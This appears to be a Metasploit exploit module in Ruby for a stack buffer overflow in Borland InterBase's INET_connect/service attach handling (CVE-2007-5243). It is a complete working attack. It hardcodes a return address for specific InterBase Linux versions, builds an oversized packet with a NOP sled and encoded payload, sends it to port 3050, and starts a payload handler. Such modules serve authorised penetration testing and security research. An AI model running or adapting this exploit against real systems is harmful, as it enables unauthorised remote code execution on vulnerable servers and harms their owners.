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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Borland InterBase INET_connect() Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Borland InterBase
by sending a specially crafted service attach request.
},
'Version' => '$Revision$',
'Author' =>
[
'Ramon de C Valle',
'Adriano Lima <adriano[at]risesecurity.org>',
],
'Arch' => ARCH_X86,
'Platform' => 'linux',
'References' =>
[
[ 'CVE', '2007-5243' ],
[ 'OSVDB', '38605' ],
[ 'BID', '25917' ],
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
],
'Privileged' => true,
'License' => MSF_LICENSE,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x2f\x3a\x40\x5c",
},
'Targets' =>
[
# 0x0804d2ee 5b5e5f5dc3
[
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
{ 'Ret' => 0x0804d2ee }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 03 2007'
))
register_options(
[
Opt::RPORT(3050)
],
self.class
)
end
def exploit
connect
# Attach database
op_attach = 19
# Create database
op_create = 20
# Service attach
op_service_attach = 82
length = 161
remainder = length.remainder(4)
padding = 0
if remainder > 0
padding = (4 - remainder)
end
buf = ''
# Operation/packet type
buf << [op_service_attach].pack('N')
# Id
buf << [0].pack('N')
# Length
buf << [length].pack('N')
# Random alpha data
buf << rand_text_alpha(length - 5)
# Target
buf << [target.ret].pack('L')
# Separator
buf << ':'
# Padding
buf << "\x00" * padding
# Database parameter block
# Length
buf << [1024].pack('N')
# It will return into this nop block
buf << make_nops(1024 - payload.encoded.length)
# Payload
buf << payload.encoded
sock.put(buf)
handler
end
end
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